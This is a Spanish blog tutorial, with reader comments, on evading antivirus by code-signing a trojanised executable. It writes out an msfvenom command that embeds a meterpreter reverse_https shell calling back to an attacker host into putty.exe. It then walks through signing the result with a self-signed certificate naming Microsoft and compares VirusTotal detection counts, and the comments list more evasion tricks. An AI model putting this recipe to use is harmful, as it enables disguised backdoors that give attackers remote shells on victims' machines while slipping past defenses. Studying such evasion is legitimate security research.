Evasión de antivirus con ejecutables firmados

Continuamos con el estudio de distintas técnicas para la evasión de antivirus. En esta ocasión veremos un caso muy curioso en el que comprobaremos como la simple firma digital de un fichero ejecutable malicioso puede provocar su indetección.

¿Cómo? Pues las políticas de algunos motores de antivirus pueden excluir el análisis de un fichero simplemente por estar firmado para mejorar el rendimiento... si bien es más probable que, al añadir código al fichero durante este proceso, se vean afectadas las (frágiles) detecciones mediante firmas. Veamos los resultados.

Primero y según la Wikipedia, empezamos definiendo la firma de código como "el proceso de firmar digitalmente ejecutables y scripts para confirmar el autor del software y garantizar que el código no ha sido alterado o corrompido desde que fue firmado mediante el uso de un hash criptográfico.".

Las principales herramientas para firmar ejecutables son codesign en Mac OS X y singtool de Mozilla y Microsoft, aunque en esta entrada comenzaremos con Linux probando osslsigncode (OpenSSL-based signcode utility project), una herramienta multiplataforma basada en OpenSSL y libcurl capaz de firmar ficheros EXE/CAB y mediante la cual firmaremos nuestro fichero de pruebas: un ejecutable de Windows al que inyectaremos un payload malicioso con msfvenom:

msfvenom -p windows/meterpreter/reverse_https -f exe -k -x putty.exe LHOST=192.168.249.128 LPORT=443 >evilputty.exe
 
A continuación procederemos a descargar e instalar osslsigncode:
root@bt:/home/pruebas/avbypass# tar -zxvf osslsigncode-1.4.tar.gz 
osslsigncode-1.4/
osslsigncode-1.4/configure
osslsigncode-1.4/COPYING
osslsigncode-1.4/configure.ac
osslsigncode-1.4/Makefile.in
osslsigncode-1.4/aclocal.m4
osslsigncode-1.4/osslsigncode.c
osslsigncode-1.4/config.h.in
osslsigncode-1.4/missing
osslsigncode-1.4/Makefile.am
osslsigncode-1.4/README
osslsigncode-1.4/install-sh
osslsigncode-1.4/depcomp
osslsigncode-1.4/.gitignore
osslsigncode-1.4/TODO
osslsigncode-1.4/ChangeLog
root@bt:/home/pruebas/avbypass# cd osslsigncode-1.4

root@bt:/home/pruebas/avbypass/osslsigncode-1.4# ./configure
checking for a BSD-compatible install... /usr/bin/install -c
checking whether build environment is sane... yes
checking for a thread-safe mkdir -p... /bin/mkdir -p
checking for gawk... gawk
checking whether make sets $(MAKE)... yes
checking for gcc... gcc
checking whether the C compiler works... yes
checking for C compiler default output file name... a.out
checking for suffix of executables... 
checking whether we are cross compiling... no
checking for suffix of object files... o
checking whether we are using the GNU C compiler... yes
checking whether gcc accepts -g... yes
checking for gcc option to accept ISO C89... none needed
checking for style of include used by make... GNU
checking dependency style of gcc... gcc3
checking how to run the C preprocessor... gcc -E
checking for grep that handles long lines and -e... /bin/grep
checking for egrep... /bin/grep -E
checking for ANSI C header files... yes
checking for sys/types.h... yes
checking for sys/stat.h... yes
checking for stdlib.h... yes
checking for string.h... yes
checking for memory.h... yes
checking for strings.h... yes
checking for inttypes.h... yes
checking for stdint.h... yes
checking for unistd.h... yes
checking minix/config.h usability... no
checking minix/config.h presence... no
checking for minix/config.h... no
checking whether it is safe to define __EXTENSIONS__... yes
checking for pkg-config... /usr/bin/pkg-config
checking pkg-config is at least version 0.9.0... yes
checking how to run the C preprocessor... gcc -E
checking whether ln -s works... yes
checking for a sed that does not truncate output... /bin/sed
checking whether make sets $(MAKE)... (cached) yes
checking for an ANSI C-conforming const... yes
checking for ANSI C header files... (cached) yes
checking whether time.h and sys/time.h may both be included... yes
checking sys/mman.h usability... yes
checking sys/mman.h presence... yes
checking for sys/mman.h... yes
checking for mmap... yes
checking for dlopen in -ldl... yes
checking for OPENSSL... yes
checking for LIBCURL... yes
configure: creating ./config.status
config.status: creating Makefile
config.status: creating config.h
config.status: executing depfiles commands

root@bt:/home/pruebas/avbypass/osslsigncode-1.4# make
make  all-am
make[1]: Entering directory `/home/pruebas/avbypass/osslsigncode-1.4'
gcc -DHAVE_CONFIG_H -I.      -g -O2 -MT osslsigncode.o -MD -MP -MF .deps/osslsigncode.Tpo -c -o osslsigncode.o osslsigncode.c
mv -f .deps/osslsigncode.Tpo .deps/osslsigncode.Po
gcc   -g -O2   -o osslsigncode osslsigncode.o -lcrypto   -lcurl   
make[1]: Leaving directory `/home/pruebas/avbypass/osslsigncode-1.4'

root@bt:/home/pruebas/avbypass/osslsigncode-1.4# make install
make[1]: Entering directory `/home/pruebas/avbypass/osslsigncode-1.4'
test -z "/usr/local/bin" || /bin/mkdir -p "/usr/local/bin"
  /usr/bin/install -c osslsigncode '/usr/local/bin'
make[1]: Nothing to be done for `install-data-am'.
make[1]: Leaving directory `/home/pruebas/avbypass/osslsigncode-1.4'

El siguiente paso será generar una clave privada RSA. Esta será de 2048 bits usando triple-DES:
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# openssl genrsa -des3 -out clave.pem 2048
Generating RSA private key, 2048 bit long modulus
.............+++
..............................................+++
e is 65537 (0x10001)
Enter pass phrase for clave.pem:
Verifying - Enter pass phrase for clave.pem:
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# file clave.pem 
clave.pem: PEM RSA private key

Como véis el formato PEM es legible como texto ASCII:
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# cat clave.pem 
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,DFBBA9AE6945EF61

YZloSP6qebhoghbTJjvEeQpZke5Urr6Rr09MENPoGLJd2CTBxl2Hpyasm7TWIcLV
zJEV6X9SETPxCRqp6uiiOLGWKZGx99//1fSrBClBqZ/ndi8Rd/RZCnn7k1OzpTls
UuoPbBG1fzDrhTTQtNcHh29WDDtftL5J3yO11jSQAust39zAMbcYdVKWAQyydN9C
Ut7ykKt9hgd0g1v7K9Uq2DDJ/VcHsNShOdNVBaElLe6H8oxf18nSE881PAUyixd9
vfe9jFuWpcY3GWbRh+/rHq3LXQaWXR4qx8gPdsyHwENrqg3xgMW3gEc/IC1QGwq+
K+akMmsgQdSQwxmC13OOsBw1KJyORkn4PuVIxRY8PBSwd/eFQcZnt+LIJ/W7kGT2
WCU523ixcfN4XfpGHb06DaRVsd5/WvODsYV7xs3taQa8kfW9HF5RNWs4s304qU/s
/emlv+mhscn6R9r7hzQe2J/qilZ/4wp6+M7t3RwbbyrdHKQqO8P+VF+c7Hy18Vah
dWinZEgQ+6SIzm8x54E35uKXquuhnE276mwJEXiFoQSVsO5JQRfGBLaHL03yiWxE
vXDyfIJi/zBDWL5ARQK4I0vVqZf2m71Dha4/KibCb2rfJYB9lqgstoOQq4ydszPE
SVB6AwplI3NDwISxoh8QxaVwgJvS9gHnQgzpyEpdG2pXOQR7vzhp481rOPeneI7z
XxXTjR3xfeh4fghQfF31RDn6kSK7MikFw3F1E1ZML2IxogvDsUrwRlzGh4pF9TMh
EozcoDAwLTkBjgnTkLHjw8/S8awSnHJQh4s2i0wUvVoP7Xv46gtgFvvJ3bdo0/ID
Z+468Lkg0QEk3LSkn9ANajIs6b8NGkvOZIRJJGlLof7bbuW/Vdo1ehLS4kKCXxea
0BBmRfkmPXa/pzpG8ls19dfoIy6ZgiqossNNpDaRRLOd+zzpxiCxCYuOPV6BV2TF
v34wwwvP//8/OrCt5FQqVU2kDjN716Y/5VJ2TQ3qunev5otH+pa9S2q2kZXLfayT
17Mwj/GQNoJsfG4tq3Rb/45ponFzZDO1N+kXhqIBhZvrC+0Q6yBNoIAbJ8BJHNUF
DdpMEDsjT+Xz36fnaPa/iuq5OAf4bibrYUdGk0OiI2i4cCtl8QWFcdd4GmJuLl3g
TW3O7y0GtfrQ58UKGv8HxP++45+sGT5k7x/UXEDyZ+mgzCBGYHWsC2xOoZow9INB
OEN2tmLBzHD4qneVF60UMwt/QCJns17SgeVczcjfe0tyxt9y7+nS39u2tay96TXN
zPIXyCUh3OvFR9s7Jeg5tBoGLGtVbnF+DW70A2oKPgbDaTuy/m1OCqxb4IZVIwIL
fkBdYK6+eRpUfeWqFT1bUHw70aHmfaHg7lmQS9wNFCXijNfnFjpMvJrIh+rpCh11
muNHKmqGX1HQ46vAaC+eBkhcumsJCyJxHPSAnOKPzx2wf3PETeZguAv6nOjCi6fx
hmz7vDofZ++J0e/mFywMf6nJ0/0PTXs4bG4mnb6GUKn9kjQ0aSDwdjeyw1Gypooe
kexUgs+W/znswoWp9yQ1NkL0y9R2GELdZRNvUwuA2aZOStYj/0ljyw==
-----END RSA PRIVATE KEY-----

Después necesitaremos convertir la clave a formato binario .der (ASN.1 BER-encoded):
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# openssl rsa -in clave.pem -out clave.der -outform DER 
Enter pass phrase for clave.pem:
writing RSA key
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# file clave.der 
clave.der: data

Si echamos un vistazo a este formato obtendremos una salida ilegible, que siempre suelen comenzar con un carácter '0' (0x30).
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# cat clave.der 
0? ?   ?  ??W?r& ???H?NWT+?h??91`?~?? ui???d >?"     0?bc?m??z`? 5T2J?.??PD??w$?d6dU[ 
                                                                                         ?:Th8???    \?|]?u?????C?X????? ?????e }?m???JI ?=?NZ)?H???R??Zy@?tc?0?B ???? 2?,??? ?:?  ?0? ?"?'? :dN????! ?n?s?????/^?p??J?'F????  8????j?k ^ "ffP??%?.???      ?  #??1??wb????rgw}Z\8
???9?bT
        ?P =@??0???bR?? 71??I ??/?!???J1; ?; ??4@ v?>:br@?8???@55??      S NF?D??????
                                                                                      ???38h?k? $3oV??s?5
b< ??W@.Yq?????mM????>1??e????:???r?A????6?? ???3?? ?????! ?T                                            ??)2?3 Z<,?
                                                             ?p??i?P????5??????=?e]?*?9 ?????,?[???d?? ??n?+?k8?U?+ b ???rsj??o?? ????o
           ??g?E?wZ?9?e?\D?P?m?????"<` ?$p9??)??g ?r #???(?Rcqb#iX?F?:?:Aux???r? ??????5G?  A&?/d*??
                                                                                                   ??,/F?e -|??6L?t?_? ?????????J??? ???1?šT?D?H%?? ???$?[9  ?Am?T ?YN
??}?L???[?
          aM? U ??vb?m??? ?v?l???&?
                                    ?S??                                                             N 0???+X ~?j?YC??C ???Ck%???? ???0?q9Y?? ?6l? ????e)|??1??f??l'?? a?[D????bI?? ?T -??q ???+??:?k???8J?eU \    |%
root@bt:/home/pruebas/avbypass/osslsigncode-1.4#
Ahora que ya tenemos nuestra clave, procederemos a crear el certificado autofirmado:
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# openssl req -new -x509 -key clave.pem -out certificado.pem -days 365
Enter pass phrase for clave.pem:
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:LA
Locality Name (eg, city) []:Los Angeles
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Microsoft
Organizational Unit Name (eg, section) []:IT
Common Name (eg, YOUR name) []:Bill Troy
Email Address []:btroy_r@microsoft.com
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# file certificado.pem 
certificado.pem: PEM certificate
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# cat certificado.pem 
-----BEGIN CERTIFICATE-----
MIIEjzCCA3egAwIBAgIJAJPHifiZZJzbMA0GCSqGSIb3DQEBBQUAMIGLMQswCQYD
VQQGEwJVUzELMAkGA1UECBMCTEExFDASBgNVBAcTC0xvcyBBbmdlbGVzMRIwEAYD
VQQKEwlNaWNyb3NvZnQxCzAJBgNVBAsTAklUMRIwEAYDVQQDEwlCaWxsIFRyb3kx
JDAiBgkqhkiG9w0BCQEWFWJ0cm95X3JAbWljcm9zb2Z0LmNvbTAeFw0xMjExMTUx
MTUxMjZaFw0xMzExMTUxMTUxMjZaMIGLMQswCQYDVQQGEwJVUzELMAkGA1UECBMC
TEExFDASBgNVBAcTC0xvcyBBbmdlbGVzMRIwEAYDVQQKEwlNaWNyb3NvZnQxCzAJ
BgNVBAsTAklUMRIwEAYDVQQDEwlCaWxsIFRyb3kxJDAiBgkqhkiG9w0BCQEWFWJ0
cm95X3JAbWljcm9zb2Z0LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAJfqsphXhHImA+mkx0iOONhOV1Qrt2jG1Y45MWCwfpTpHXVp5djIZB8+iiIe
CTDKYmPKbfOAemCAEzVUMkrrLqezUETPvrZ3JKVkNmRVDlsEDKA6VGg45v3yCVyS
fF3cdeHyreGuQ8ZYpdq50NvYEIuUp+zjZRt92m2cow/dB0pJBtY9nE4PWin7SIPR
tshSqgjVjsVaeUDfr3Rj9zDrQhy018CRGjIO5SyZiK0a4Tr6AhymMIEEpyKUJ4oQ
OmROgNOiBfHjq6UhENmfbtZzot7zs4yyjS9ezXC3gErhJ86muYJ/+MsGHzi5gdWl
lmqiayBeFSJmZlCdgCWHLqfY4BMCAwEAAaOB8zCB8DAdBgNVHQ4EFgQUQb61nshB
TDi8FQh7JoqY5+/RF1gwgcAGA1UdIwSBuDCBtYAUQb61nshBTDi8FQh7JoqY5+/R
F1ihgZGkgY4wgYsxCzAJBgNVBAYTAlVTMQswCQYDVQQIEwJMQTEUMBIGA1UEBxML
TG9zIEFuZ2VsZXMxEjAQBgNVBAoTCU1pY3Jvc29mdDELMAkGA1UECxMCSVQxEjAQ
BgNVBAMTCUJpbGwgVHJveTEkMCIGCSqGSIb3DQEJARYVYnRyb3lfckBtaWNyb3Nv
ZnQuY29tggkAk8eJ+JlknNswDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOC
AQEADGyRrAUJ2tTA5yMcn6NkfafLhUyUG7iWxs4EV+2NzE4pci/Qs/xK7So7Fz+y
qO5EarNY+WnH/MnFg1juCQ2K6UBf0NLFDMzNI5QjSngDntHLF9QHqjIldhm45khk
5SnOXDQS//M2q0gIJq4MOvNtctVyZOTHNK3PHvrpf3zFuwPWAUwgl4uKhWOCRIat
D1SsS/zBeda1oJU8B1TbfGiZqhjfuCEjtPLCLNRU/hksxJBeeA6yMhiR9KlDQTzB
tuH+yhK/IrqaW3P9o2KzeTCDl/vvLTmjRVqx4Ttwq8NCUmXV28/WVafr2noDXe62
+6r83DASXtVxvdQXhODI3TLdYA==
-----END CERTIFICATE-----

Antes de utilizar osslsigncode, necesitamos convertir el certificado al formato de la CryptoAPI de Microsoft, obteniendo como resultado un fichero con extensión .spc (Software Publisher's Certificate):
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# openssl crl2pkcs7 -nocrl -certfile certificado.pem -outform DER -out certificado.spc
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# file certificado.spc 
certificado.spc: data

Ya podemos firmar el ejecutable:
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# osslsigncode -spc certificado.spc -key clave.der -n "Putty" -i http://www.chiark.greenend.org.uk/ -in evilputty.exe -out evilputty-firmado.exe
Succeeded
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# file evilputty-firmado.exe 
evilputty-firmado.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

Ahora veamos el análisis de los ejecutables mediante VirusTotal. Como véis, nuestro "putty maligno" tiene una alta tasa de detección:

https://www.virustotal.com/file/4e281e1c35a39aca88225d94bab48b8ef3436a3233f828021c1499a710aeea89/analysis/1352982503/
SHA256:     4e281e1c35a39aca88225d94bab48b8ef3436a3233f828021c1499a710aeea89
Nombre:     evilputty.exe
Detecciones:     28 / 44

Finalmente la prueba de fuego... analizamos también nuestro "putty maligno" auto-firmado:

https://www.virustotal.com/file/777fd456acd059dda646d18a51facd112ab5313082bfb586b5b456bcd5c178b8/analysis/1352982351/
evilputty-firmado.exe
SHA256:     777fd456acd059dda646d18a51facd112ab5313082bfb586b5b456bcd5c178b8
Nombre:     evilputty-firmado.exe
Detecciones:     25 / 44

¡Tres antivirus no detectan el payload de Metasploit: ByteHero y (nada más y nada menos) que Avira AntiVir y Avast!!

Pero espera, espera, que no acabamos... para los amantes de M$ podemos repetir las pruebas con signtool:
D:\Program Files2\Microsoft SDKs\Windows\v7.0\Bin>makecert -r -pe -$ individual -n CN=TEST1 -sv test1.pvk test1.cer
Succeeded

D:\Program Files2\Microsoft SDKs\Windows\v7.0\Bin>pvk2pfx -pvk test1.pvk -spc test1.cer -pfx test1.pfx

D:\Program Files2\Microsoft SDKs\Windows\v7.0\Bin>signtool sign /f test1.pfx d:\
metasploit\evilputty.exe
Done Adding Additional Store
Successfully signed: d:\metasploit\evilputty.exe

D:\Program Files2\Microsoft SDKs\Windows\v7.0\Bin>signtool sign /f test1.pfx d:\
metasploit\evilputty-firmado.exe
Done Adding Additional Store
Successfully signed: d:\metasploit\evilputty-firmado.exe

https://www.virustotal.com/file/2b2fea33781923b48f47952a164b8e8897d4db38d45408a778d004e4beee5444/analysis/1353001810/
SHA256:     2b2fea33781923b48f47952a164b8e8897d4db38d45408a778d004e4beee5444
Nombre:     evilputty-firmado.exe
Detecciones:     25 / 44

Y obtenemos los mismos resultados... ¿o qué creías? ;)

3 comentarios :

  1. Estupendo artículo! me ha gustado mucho la idea...

    Yo probaría a hacer una cosa, visto que el número de antivirus no ha bajado de forma considerable, posiblemente la indetección del mismo, pueda deberse a simplemente el tamaño que ocupa la firma en el EOF del malware.
    Técnicas como agregar secciones al ejecutable, agregar bytes en EOF, mover el Entry Point, la reconstrucción de la cabecera, métodos como RIT, XOR, ROR-ROL, DAFe o algo tan simple como es cambiar el icono, pueden no solo llegar a cambiar la firma de detección de un antivirus, sino en muchos casos llegar a saltarla.
    Saludos! :)

    ResponderEliminar
  2. Muchas gracias Germán!
    el objetivo del artículo no era obtener un fichero FUD, sino comprobar qué pasaba con la detección de AV sólo firmándolo.
    Más adelante probaremos más técnicas ;)

    ResponderEliminar
  3. Hola, tengo un problema con una de las instrucciones, a la hora de hacer el ./configure, me tira el siguiente error:

    OpenSSL 0.9.8 o superior es requerido

    La cuestión es que al hacer:
    openssl version

    me dice que tengo la 1.0

    ¿Alguna idea de porqué ocurre esto?

    Muchas gracias ;)

    ResponderEliminar